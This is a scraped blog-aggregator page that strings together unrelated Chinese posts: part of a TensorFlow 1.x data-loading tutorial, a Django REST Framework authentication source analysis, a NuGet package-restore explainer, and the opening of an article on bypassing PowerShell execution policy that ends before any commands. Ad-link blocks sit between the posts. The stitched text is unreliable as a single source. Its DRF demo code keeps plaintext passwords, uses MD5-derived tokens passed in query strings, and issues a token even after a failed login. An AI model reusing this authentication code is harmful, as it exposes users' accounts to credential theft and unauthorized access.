[b'data/C.csv:2', b'8.jpg,8']
[b'data/C.csv:3', b'9.jpg,9']
"""

案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

import tensorflow as tf

filename = ['1.jpg', '2.jpg']
filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
reader = tf.WholeFileReader()              # 文件讀取器
key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes

with tf.Session() as sess:
    tf.local_variables_initializer().run()
    coord = tf.train.Coordinator()      # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)

    for i in range(filename.__len__()):
        image_data = sess.run(value)
        with open('img_%d.jpg' % i, 'wb') as f:
            f.write(image_data)
    coord.request_stop()
    coord.join(threads)

 

 二、(隨機)批量數據讀取方式:

  功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

案例4:slice_input_producer() 與 batch()

import tensorflow as tf
import numpy as np

images = np.arange(20).reshape([10, 2])
label = np.asarray(range(0, 10))
images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果

batchsize = 6   # 每次獲取元素的數量
input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)

# 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
# image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)

with tf.Session() as sess:
    coord = tf.train.Coordinator()      # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    for cnt in range(2):
        print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
        image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
        print(image_batch_v, label_batch_v, label_batch_v.__len__())

    coord.request_stop()
    coord.join(threads)

"""
運行結果:
第1次獲取數據,每次batch=6...
[[ 0.  1.]
 [ 2.  3.]
 [ 4.  5.]
 [ 6.  7.]
 [ 8.  9.]
 [10. 11.]] [0 1 2 3 4 5] 6
第2次獲取數據,每次batch=6...
[[12. 13.]
 [14. 15.]
 [16. 17.]
 [18. 19.]
 [ 0.  1.]
 [ 2.  3.]] [6 7 8 9 0 1] 6
"""

 案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

 1 import tensorflow as tf
 2 import glob
 3 import cv2 as cv
 4 
 5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
 6     """
 7     從本地批量的讀取圖片
 8     :param filename: 圖片路徑(包括圖片的文件名),[]
 9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
12     :return: batch_size張圖片數據, Tensor
13     """
14     global new_img
15     # 創建文件隊列
16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
17     # 創建文件讀取器
18     reader = tf.WholeFileReader()
19     # 讀取文件隊列中的文件
20     _, img_bytes = reader.read(file_queue)
21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
22     # 對圖片進行解碼
23     if picture_format == ".bmp":
24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
25     elif picture_format == ".jpg":
26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
27     else:
28         pass
29     # 重新設置圖片的大小
30     # new_img = tf.image.resize_images(new_img, input_image_shape)
31     new_img = tf.reshape(new_img, input_image_shape)
32     # 設置圖片的數據類型
33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
34 
35     # return new_img
36     return tf.train.batch([new_img], batch_size)
37 
38 
39 def main():
40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
42     print(type(image_batch))
43     # image_path = glob.glob(r'.\*.jpg')
44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
45 
46     sess = tf.Session()
47     sess.run(tf.local_variables_initializer())
48     tf.train.start_queue_runners(sess=sess)
49 
50     image_batch = sess.run(image_batch)
51     print(type(image_batch))    # <class 'numpy.ndarray'>
52 
53     for i in range(image_batch.__len__()):
54         cv.imshow("win_"+str(i), image_batch[i])
55     cv.waitKey()
56     cv.destroyAllWindows()
57 
58 def start():
59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
62 
63 
64     with tf.Session() as sess:
65         sess.run(tf.local_variables_initializer())
66         coord = tf.train.Coordinator()      # 線程的協調器
67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
68         image_batch = sess.run(image_batch)
69         print(type(image_batch))    # <class 'numpy.ndarray'>
70 
71         for i in range(image_batch.__len__()):
72             cv.imshow("win_"+str(i), image_batch[i])
73         cv.waitKey()
74         cv.destroyAllWindows()
75 
76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
79         coord.request_stop()
80         coord.join(threads)
81 
82 
83 if __name__ == "__main__":
84     # main()
85     start()

從本地批量的讀取圖片案例

 

案列6:TFRecord文件打包與讀取

 1 def write_TFRecord(filename, data, labels, is_shuffler=True):
 2     """
 3     將數據打包成TFRecord格式
 4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
 5     :param data: 需要打包的文件路徑名;list
 6     :param labels: 對應文件的標籤;list
 7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
 8     :return: None
 9     """
10     im_data = list(data)
11     im_labels = list(labels)
12 
13     index = [i for i in range(im_data.__len__())]
14     if is_shuffler:
15         np.random.shuffle(index)
16 
17     # 創建寫入器,然後使用該對象寫入樣本example
18     writer = tf.python_io.TFRecordWriter(filename)
19     for i in range(im_data.__len__()):
20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
22 
23         # # 獲取當前的圖片數據  方式一:
24         # data = cv2.imread(im_d)
25         # # 創建樣本
26         # ex = tf.train.Example(
27         #     features=tf.train.Features(
28         #         feature={
29         #             "image": tf.train.Feature(
30         #                 bytes_list=tf.train.BytesList(
31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
32         #             "label": tf.train.Feature(
33         #                 int64_list=tf.train.Int64List(
34         #                     value=[im_l])),
35         #         }
36         #     )
37         # )
38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
39         data = tf.gfile.FastGFile(im_d, "rb").read()
40         ex = tf.train.Example(
41             features=tf.train.Features(
42                 feature={
43                     "image": tf.train.Feature(
44                         bytes_list=tf.train.BytesList(
45                             value=[data])), # 此時的data已經是bytes類型
46                     "label": tf.train.Feature(
47                         int64_list=tf.train.Int64List(
48                             value=[im_l])),
49                 }
50             )
51         )
52 
53         # 寫入將序列化之後的樣本
54         writer.write(ex.SerializeToString())
55     # 關閉寫入器
56     writer.close()

TFRecord文件打包案列

 

 1 import tensorflow as tf
 2 import cv2
 3 
 4 def read_TFRecord(file_list, batch_size=10):
 5     """
 6     讀取TFRecord文件
 7     :param file_list: 存放TFRecord的文件名,List
 8     :param batch_size: 每次讀取圖片的數量
 9     :return: 解析後圖片及對應的標籤
10     """
11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
12     reader = tf.TFRecordReader()
13     _, ex = reader.read(file_queue)
14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
15 
16     feature = {
17         'image': tf.FixedLenFeature([], tf.string),
18         'label': tf.FixedLenFeature([], tf.int64)
19     }
20     example = tf.parse_example(batch, features=feature)
21 
22     images = tf.decode_raw(example['image'], tf.uint8)
23     images = tf.reshape(images, [-1, 32, 32, 3])
24 
25     return images, example['label']
26 
27 
28 
29 def main():
30     # filelist = ['data/train.tfrecord']
31     filelist = ['data/test.tfrecord']
32     images, labels = read_TFRecord(filelist, 2)
33     with tf.Session() as sess:
34         sess.run(tf.local_variables_initializer())
35         coord = tf.train.Coordinator()
36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
37 
38         try:
39             while not coord.should_stop():
40                 for i in range(1):
41                     image_bth, _ = sess.run([images, labels])
42                     print(_)
43 
44                     cv2.imshow("image_0", image_bth[0])
45                     cv2.imshow("image_1", image_bth[1])
46                 break
47         except tf.errors.OutOfRangeError:
48             print('read done')
49         finally:
50             coord.request_stop()
51         coord.join(threads)
52         cv2.waitKey(0)
53         cv2.destroyAllWindows()
54 
55 if __name__ == "__main__":
56     main()

TFReord文件的讀取案列

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

10.DRF-認證

Django rest framework源碼分析(1)—-認證

一、基礎

1.1.安裝

兩種方式:

  • github
  • pip直接安裝
pip install djangorestframework

1.2.需要先了解的一些知識

理解下面兩個知識點非常重要,django-rest-framework源碼中到處都是基於CBV和面向對象的封裝

(1)面向對象封裝的兩大特性

把同一類方法封裝到類中

將數據封裝到對象中

(2)CBV

基於反射實現根據請求方式不同,執行不同的方法

原理:url–>view方法–>dispatch方法(反射執行其它方法:GET/POST/PUT/DELETE等等)

二、簡單實例

2.1.settings

先創建一個project和一個app(我這裏命名為API)

首先要在settings的app中添加

INSTALLED_APPS = [
    'rest_framework',
]

2.2.url

from django.contrib import admin
from django.urls import path
from API.views import AuthView

urlpatterns = [
    path('admin/', admin.site.urls),
    path('api/v1/auth/',AuthView.as_view()),
]

2.3.models

一個保存用戶的信息

一個保存用戶登錄成功后的token

from django.db import models

class UserInfo(models.Model):
    USER_TYPE = (
        (1,'普通用戶'),
        (2,'VIP'),
        (3,'SVIP')
    )

    user_type = models.IntegerField(choices=USER_TYPE)
    username = models.CharField(max_length=32)
    password = models.CharField(max_length=64)

class UserToken(models.Model):
    user = models.OneToOneField(UserInfo,on_delete=models.CASCADE)
    token = models.CharField(max_length=64)

2.4.views

用戶登錄(返回token並保存到數據庫)

from django.shortcuts import render
from django.http import JsonResponse
from rest_framework.views import APIView
from API import models

def md5(user):
    import hashlib
    import time
    #當前時間,相當於生成一個隨機的字符串
    ctime = str(time.time())
    m = hashlib.md5(bytes(user,encoding='utf-8'))
    m.update(bytes(ctime,encoding='utf-8'))
    return m.hexdigest()

class AuthView(object):
    def post(self,request,*args,**kwargs):
        ret = {'code':1000,'msg':None}
        try:
            user = request._request.POST.get('username')
            pwd = request._request.POST.get('password')
            obj = models.UserInfo.objects.filter(username=user,password=pwd).first()
            if not obj:
                ret['code'] = 1001
                ret['msg'] = '用戶名或密碼錯誤'
            #為用戶創建token
            token = md5(user)
            #存在就更新,不存在就創建
            models.UserToken.objects.update_or_create(user=obj,defaults={'token':token})
            ret['token'] = token
        except Exception as e:
            ret['code'] = 1002
            ret['msg'] = '請求異常'
        return JsonResponse(ret)

2.5.利用postman發請求

如果用戶名和密碼正確的話 會生成token值,下次該用戶再登錄時,token的值就會更新

數據庫中可以看到token的值

當用戶名或密碼錯誤時,拋出異常

三、添加認證

基於上面的例子,添加一個認證的類

3.1.url

path('api/v1/order/',OrderView.as_view()),

3.2.views

from django.shortcuts import render,HttpResponse
from django.http import JsonResponse
from rest_framework.views import APIView
from API import models
from rest_framework.request import Request
from rest_framework import exceptions
from rest_framework.authentication import BasicAuthentication

ORDER_DICT = {
    1:{
        'name':'apple',
        'price':15
    },
    2:{
        'name':'dog',
        'price':100
    }
}

def md5(user):
    import hashlib
    import time
    #當前時間,相當於生成一個隨機的字符串
    ctime = str(time.time())
    m = hashlib.md5(bytes(user,encoding='utf-8'))
    m.update(bytes(ctime,encoding='utf-8'))
    return m.hexdigest()

class AuthView(object):
    '''用於用戶登錄驗證'''
    def post(self,request,*args,**kwargs):
        ret = {'code':1000,'msg':None}
        try:
            user = request._request.POST.get('username')
            pwd = request._request.POST.get('password')
            obj = models.UserInfo.objects.filter(username=user,password=pwd).first()
            if not obj:
                ret['code'] = 1001
                ret['msg'] = '用戶名或密碼錯誤'
            #為用戶創建token
            token = md5(user)
            #存在就更新,不存在就創建
            models.UserToken.objects.update_or_create(user=obj,defaults={'token':token})
            ret['token'] = token
        except Exception as e:
            ret['code'] = 1002
            ret['msg'] = '請求異常'
        return JsonResponse(ret)


class Authentication(APIView):
    '''認證'''
    def authenticate(self,request):
        token = request._request.GET.get('token')
        token_obj = models.UserToken.objects.filter(token=token).first()
        if not token_obj:
            raise exceptions.AuthenticationFailed('用戶認證失敗')
        #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
        return (token_obj.user,token_obj)

    def authenticate_header(self, request):
        pass

class OrderView(APIView):
    '''訂單相關業務'''

    authentication_classes = [Authentication,]    #添加認證
    def get(self,request,*args,**kwargs):
        #request.user
        #request.auth
        ret = {'code':1000,'msg':None,'data':None}
        try:
            ret['data'] = ORDER_DICT
        except Exception as e:
            pass
        return JsonResponse(ret)

3.3用postman發get請求

請求的時候沒有帶token,可以看到會显示“用戶認證失敗”

這樣就達到了認證的效果,django-rest-framework的認證是怎麼實現的呢,下面基於這個例子來剖析drf的源碼。

四、drf的認證源碼分析

源碼流程圖

請求先到dispatch

dispatch()主要做了兩件事

  • 封裝request
  • 認證  

具體看我寫的代碼裏面的註釋

def dispatch(self, request, *args, **kwargs):
	"""
	`.dispatch()` is pretty much the same as Django's regular dispatch,
	but with extra hooks for startup, finalize, and exception handling.
	 """
	self.args = args
    self.kwargs = kwargs
    #對原始request進行加工,豐富了一些功能
    #Request(
    #     request,
    #     parsers=self.get_parsers(),
    #     authenticators=self.get_authenticators(),
    #     negotiator=self.get_content_negotiator(),
    #     parser_context=parser_context
    # )
    #request(原始request,[BasicAuthentications對象,])
    #獲取原生request,request._request
    #獲取認證類的對象,request.authticators
    #1.封裝request
    request = self.initialize_request(request, *args, **kwargs)
    self.request = request
    self.headers = self.default_response_headers  # deprecate?

    try:
        #2.認證
        self.initial(request, *args, **kwargs)

        # Get the appropriate handler method
        if request.method.lower() in self.http_method_names:
            handler = getattr(self, request.method.lower(),
                                  self.http_method_not_allowed)
        else:
            handler = self.http_method_not_allowed

        response = handler(request, *args, **kwargs)

	except Exception as exc:
        response = self.handle_exception(exc)

	self.response = self.finalize_response(request, response, *args, **kwargs)
    return self.response

4.1.reuqest

(1)initialize_request()

可以看到initialize()就是封裝原始request

def initialize_request(self, request, *args, **kwargs):
    """
    Returns the initial request object.
    """
    parser_context = self.get_parser_context(request)

    return Request(
        request,
        parsers=self.get_parsers(),
        #[BasicAuthentication(),],把對象封裝到request裏面了
        authenticators=self.get_authenticators(),    
        negotiator=self.get_content_negotiator(), parser_context=parser_context )

(2)get_authenticators()

通過列表生成式,返回對象的列表

def get_authenticators(self):
    """
    Instantiates and returns the list of authenticators that this view can use.
    """
    return [auth() for auth in self.authentication_classes]

(3)authentication_classes

APIView裏面有個 authentication_classes 字段

可以看到默認是去全局的配置文件找(api_settings)

class APIView(View):

    # The following policies may be set at either globally, or per-view.
    renderer_classes = api_settings.DEFAULT_RENDERER_CLASSES
    parser_classes = api_settings.DEFAULT_PARSER_CLASSES
    authentication_classes = api_settings.DEFAULT_AUTHENTICATION_CLASSES
    throttle_classes = api_settings.DEFAULT_THROTTLE_CLASSES
    permission_classes = api_settings.DEFAULT_PERMISSION_CLASSES
    content_negotiation_class = api_settings.DEFAULT_CONTENT_NEGOTIATION_CLASS
    metadata_class = api_settings.DEFAULT_METADATA_CLASS
    versioning_class = api_settings.DEFAULT_VERSIONING_CLASS

4.2.認證

self.initial(request, *args, **kwargs)

def dispatch(self, request, *args, **kwargs):
    """
    `.dispatch()` is pretty much the same as Django's regular dispatch,
    but with extra hooks for startup, finalize, and exception handling.
    """
    self.args = args
    self.kwargs = kwargs
    #對原始request進行加工,豐富了一些功能
    #Request(
    #     request,
    #     parsers=self.get_parsers(),
    #     authenticators=self.get_authenticators(),
    #     negotiator=self.get_content_negotiator(),
    #     parser_context=parser_context
    # )
    #request(原始request,[BasicAuthentications對象,])
    #獲取原生request,request._request
    #獲取認證類的對象,request.authticators
    #1.封裝request
    request = self.initialize_request(request, *args, **kwargs)
    self.request = request
    self.headers = self.default_response_headers  # deprecate?

    try:
        #2.認證
        self.initial(request, *args, **kwargs)

        # Get the appropriate handler method
        if request.method.lower() in self.http_method_names:
            handler = getattr(self, request.method.lower(),
                                  self.http_method_not_allowed)
        else:
            handler = self.http_method_not_allowed

        response = handler(request, *args, **kwargs)

	except Exception as exc:
        response = self.handle_exception(exc)

	self.response = self.finalize_response(request, response, *args, **kwargs)
    return self.response

(1)initial()

主要看 self.perform_authentication(request),實現認證

def initial(self, request, *args, **kwargs):
    """
    Runs anything that needs to occur prior to calling the method handler.
    """
    self.format_kwarg = self.get_format_suffix(**kwargs)

    # Perform content negotiation and store the accepted info on the request
    neg = self.perform_content_negotiation(request)
    request.accepted_renderer, request.accepted_media_type = neg

    # Determine the API version, if versioning is in use.
    version, scheme = self.determine_version(request, *args, **kwargs)
    request.version, request.versioning_scheme = version, scheme

    # Ensure that the incoming request is permitted
    #3.實現認證
    self.perform_authentication(request)
    self.check_permissions(request)
    self.check_throttles(request)

(2)perform_authentication()

調用了request.user

def perform_authentication(self, request):
    """
    Perform authentication on the incoming request.

	Note that if you override this and simply 'pass', then authentication
	will instead be performed lazily, the first time either
	`request.user` or `request.auth` is accessed.
	"""
    request.user

(3)user

request.user的request的位置

點進去可以看到Request有個user方法,加 @property 表示調用user方法的時候不需要加括號“user()”,可以直接調用:request.user

@property
def user(self):
    """
    Returns the user associated with the current request, as authenticated
    by the authentication classes provided to the request.
    """
    if not hasattr(self, '_user'):
        with wrap_attributeerrors():
            #獲取認證對象,進行一步步的認證
            self._authenticate()
    return self._user

(4)_authenticate()

循環所有authenticator對象

def _authenticate(self):
    """
    Attempt to authenticate the request using each authentication instance
    in turn.
    """
    #循環認證類的所有對象
    #執行對象的authenticate方法
    for authenticator in self.authenticators:
        try:
            #執行認證類的authenticate方法
            #這裏分三種情況
            #1.如果authenticate方法拋出異常,self._not_authenticated()執行
            #2.有返回值,必須是元組:(request.user,request.auth)
            #3.返回None,表示當前認證不處理,等下一個認證來處理
            user_auth_tuple = authenticator.authenticate(self)
        except exceptions.APIException:
            self._not_authenticated()
            raise

        if user_auth_tuple is not None:
            self._authenticator = authenticator
            self.user, self.auth = user_auth_tuple
            return

	self._not_authenticated()

返回值就是例子中的:

token_obj.user-->>request.user
token_obj-->>request.auth
#在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
return (token_obj.user,token_obj)     #例子中的return

當都沒有返回值,就執行self._not_authenticated(),相當於匿名用戶,沒有通過認證

def _not_authenticated(self):
    """
    Set authenticator, user & authtoken representing an unauthenticated request.

	Defaults are None, AnonymousUser & None.
	"""
    self._authenticator = None

    if api_settings.UNAUTHENTICATED_USER:
        self.user = api_settings.UNAUTHENTICATED_USER()   #AnonymousUser匿名用戶
    else:
        self.user = None

	if api_settings.UNAUTHENTICATED_TOKEN:
        self.auth = api_settings.UNAUTHENTICATED_TOKEN()  #None
	else:
        self.auth = None

面向對象知識:

子類繼承 父類,調用方法的時候:

  • 優先去自己裏面找有沒有這個方法,有就執行自己的
  • 只有當自己裏面沒有這個方法的時候才會去父類找

因為authenticate方法我們自己寫,所以當執行authenticate()的時候就是執行我們自己寫的認證

父類中的authenticate方法

def authenticate(self, request):
    return (self.force_user, self.force_token)

我們自己寫的

class Authentication(APIView):
    '''用於用戶登錄驗證'''
    def authenticate(self,request):
        token = request._request.GET.get('token')
        token_obj = models.UserToken.objects.filter(token=token).first()
        if not token_obj:
            raise exceptions.AuthenticationFailed('用戶認證失敗')
        #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
        return (token_obj.user,token_obj)

認證的流程就是上面寫的,弄懂了原理,再寫代碼就更容易理解為什麼了。

4.3.配置文件

繼續解讀源碼

默認是去全局配置文件中找,所以我們應該在settings.py中配置好路徑

api_settings源碼

api_settings = APISettings(None, DEFAULTS, IMPORT_STRINGS)

def reload_api_settings(*args, **kwargs):
    setting = kwargs['setting']
    if setting == 'REST_FRAMEWORK':
        api_settings.reload()

setting中‘REST_FRAMEWORK’中找

全局配置方法:

API文件夾下面新建文件夾utils,再新建auth.py文件,裏面寫上認證的類

settings.py

#設置全局認證
REST_FRAMEWORK = {
    "DEFAULT_AUTHENTICATION_CLASSES":['API.utils.auth.Authentication',]   #裏面寫你的認證的類的路徑
}

auth.py

# API/utils/auth.py

from rest_framework import exceptions
from API import models


class Authentication(object):
    '''用於用戶登錄驗證'''
    def authenticate(self,request):
        token = request._request.GET.get('token')
        token_obj = models.UserToken.objects.filter(token=token).first()
        if not token_obj:
            raise exceptions.AuthenticationFailed('用戶認證失敗')
        #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
        return (token_obj.user,token_obj)

    def authenticate_header(self, request):
        pass

在settings裏面設置的全局認證,所有業務都需要經過認證,如果想讓某個不需要認證,只需要在其中添加下面的代碼:

authentication_classes = []    #裏面為空,代表不需要認證
from django.shortcuts import render,HttpResponse
from django.http import JsonResponse
from rest_framework.views import APIView
from API import models
from rest_framework.request import Request
from rest_framework import exceptions
from rest_framework.authentication import BasicAuthentication

ORDER_DICT = {
    1:{
        'name':'apple',
        'price':15
    },
    2:{
        'name':'dog',
        'price':100
    }
}

def md5(user):
    import hashlib
    import time
    #當前時間,相當於生成一個隨機的字符串
    ctime = str(time.time())
    m = hashlib.md5(bytes(user,encoding='utf-8'))
    m.update(bytes(ctime,encoding='utf-8'))
    return m.hexdigest()

class AuthView(APIView):
    '''用於用戶登錄驗證'''

    authentication_classes = []    #裏面為空,代表不需要認證

    def post(self,request,*args,**kwargs):
        ret = {'code':1000,'msg':None}
        try:
            user = request._request.POST.get('username')
            pwd = request._request.POST.get('password')
            obj = models.UserInfo.objects.filter(username=user,password=pwd).first()
            if not obj:
                ret['code'] = 1001
                ret['msg'] = '用戶名或密碼錯誤'
            #為用戶創建token
            token = md5(user)
            #存在就更新,不存在就創建
            models.UserToken.objects.update_or_create(user=obj,defaults={'token':token})
            ret['token'] = token
        except Exception as e:
            ret['code'] = 1002
            ret['msg'] = '請求異常'
        return JsonResponse(ret)




class OrderView(APIView):
    '''訂單相關業務'''


    def get(self,request,*args,**kwargs):
        # self.dispatch
        #request.user
        #request.auth
        ret = {'code':1000,'msg':None,'data':None}
        try:
            ret['data'] = ORDER_DICT
        except Exception as e:
            pass
        return JsonResponse(ret)

API/view.py代碼

再測試一下我們的代碼

不帶token發請求

帶token發請求

五、drf的內置認證

rest_framework裏面內置了一些認證,我們自己寫的認證類都要繼承內置認證類 “BaseAuthentication”

4.1.BaseAuthentication源碼:

class BaseAuthentication(object):
    """
    All authentication classes should extend BaseAuthentication.
    """

    def authenticate(self, request):
        """
        Authenticate the request and return a two-tuple of (user, token).
        """
        #內置的認證類,authenticate方法,如果不自己寫,默認則拋出異常
        raise NotImplementedError(".authenticate() must be overridden.")

    def authenticate_header(self, request):
        """
        Return a string to be used as the value of the `WWW-Authenticate`
        header in a `401 Unauthenticated` response, or `None` if the
        authentication scheme should return `403 Permission Denied` responses.
        """
        #authenticate_header方法,作用是當認證失敗的時候,返回的響應頭
        pass

4.2.修改自己寫的認證類

自己寫的Authentication必須繼承內置認證類BaseAuthentication

# API/utils/auth/py

from rest_framework import exceptions
from API import models
from rest_framework.authentication import BaseAuthentication


class Authentication(BaseAuthentication):
    '''用於用戶登錄驗證'''
    def authenticate(self,request):
        token = request._request.GET.get('token')
        token_obj = models.UserToken.objects.filter(token=token).first()
        if not token_obj:
            raise exceptions.AuthenticationFailed('用戶認證失敗')
        #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
        return (token_obj.user,token_obj)

    def authenticate_header(self, request):
        pass

4.3.其它內置認證類

rest_framework裏面還內置了其它認證類,我們主要用到的就是BaseAuthentication,剩下的很少用到

六、總結

自己寫認證類方法梳理

(1)創建認證類

  • 繼承BaseAuthentication —>>1.重寫authenticate方法;2.authenticate_header方法直接寫pass就可以(這個方法必須寫)

(2)authenticate()返回值(三種)

  • None —–>>>當前認證不管,等下一個認證來執行
  • raise exceptions.AuthenticationFailed(‘用戶認證失敗’) # from rest_framework import exceptions
  • 有返回值元祖形式:(元素1,元素2) #元素1複製給request.user; 元素2複製給request.auth

(3)局部使用

  • authentication_classes = [BaseAuthentication,]

(4)全局使用

#設置全局認證
REST_FRAMEWORK = {
    "DEFAULT_AUTHENTICATION_CLASSES":['API.utils.auth.Authentication',]
}

源碼流程

—>>dispatch

    –封裝request

       —獲取定義的認證類(全局/局部),通過列表生成式創建對象 

     —initial

       —-peform_authentication

         —–request.user (每部循環創建的對象)

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

nuget 包是如何還原的

nuget 包是如何還原的

Intro

一直以來從來都只是簡單的用 nuget 包,最近想折騰一個東西,需要自己搞一個 nuget 包的解析,用戶指定 nuget 包的名稱和版本,然後去解析對應的 nuget 包並添加引用到項目,
於是就想搞明白 nuget 包是怎麼還原的,對於本地已經下載了的 nuget 包又是怎麼找的

Nuget 包的引用

對於 dotnetcore 項目(這裏不算之前那種 project.json 的項目,只討論 *.csproj 這種項目),都是使用新的項目格式,PackageReference 模式

示例:

<PackageReference Include="WeihanLi.Common" Version="1.0.39" /> 

對於 dotnet framework 項目,如果使用 PackageReference 包格式和上面一樣,如果是傳統的 packages.config 包形式,會有一個 packages.config 的文件包含引用的 nuget 包,文件內容示例:

<?xml version="1.0" encoding="utf-8"?>
<packages>
  <package id="Newtonsoft.Json" version="9.0.1" targetFramework="net452" />
</packages>

本文主要說明 dotnetcore 這種 PackageReference 這種形式

nuget 包的還原

nuget 包在第一次從 nuget.org 或自己的包源上下載之後會存放在本地的一個文件夾中,下次再需要相同版本的包還原時就會直接從本地的包中獲取,而這個保存的文件夾是 nuget 配置的一部分,在網上可以找到一些修改 nuget 默認保存 packages 文件夾的位置,但是這些文章都很類似,都只是給出了一個解決方案然而並沒有說明為什麼要這麼做,這麼做的根據是什麼並沒有說明,其實這種解決方案是添加了一個默認的 nuget 配置文件,修改了 nuget 包保存的位置

nuget 配置

默認配置

nuget 會有一些默認的配置,可以參考官方文檔: https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section

nuget 配置中有一個 globalPackagesFolder 的配置,是用來指定默認的 nuget 包保存的位置,在 Windows 上默認的保存位置是 %userprofile%\.nuget\packages,在 Linux/Mac 上默認的保存位置是 ~/.nuget/packages,可以使用 nuget.configNuGet.Config 配置文件來修改默認的保存文件,除此之外,還可以通過環境變量的方式,配置 NUGET_PACKAGES 來修改默認 nuget 包保存的位置

默認配置文件

nuget 配置的默認配置文件,官方文檔:https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config#options

Windows 上默認配置文件的位置是 %AppData%\NuGet\NuGet.Config 這也是現在網上那些修改默認保存 nuget 包位置的解決方案,
Linux/Mac 上大多是 ~/.config/NuGet/NuGet.Config,有的可能是 ~/.nuget/NuGet/NuGet.Config(和系統版本有關係)

Windows 上默認是沒有這個配置文件的,添加這個默認配置文件之後就是全局作用的

創建 %AppData%\NuGet\NuGet.Config 這個默認的配置文件,然後在這個配置文件里配置 globalPackagesFolder 來修改默認的 nuget 包保存路徑

示例:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
  </packageSources>
  <config> 
    <add key="globalPackagesFolder" value="D:\nuget\packages" />
  </config>
</configuration>

Reference

  • https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section
  • https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

繞過PowerShell執行策略方法

前言:

默認情況下,PowerShell配置為阻止Windows系統上執行PowerShell腳本。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。

 

什麼是PowerShell執行策略?

PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。

 

為什麼我們要繞過執行政策?

因為人們希望使用腳本實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:

Windows原生支持
能夠調用Windows API
能夠運行命令而無需寫入磁盤(可直接加載至內存,無文件落地)
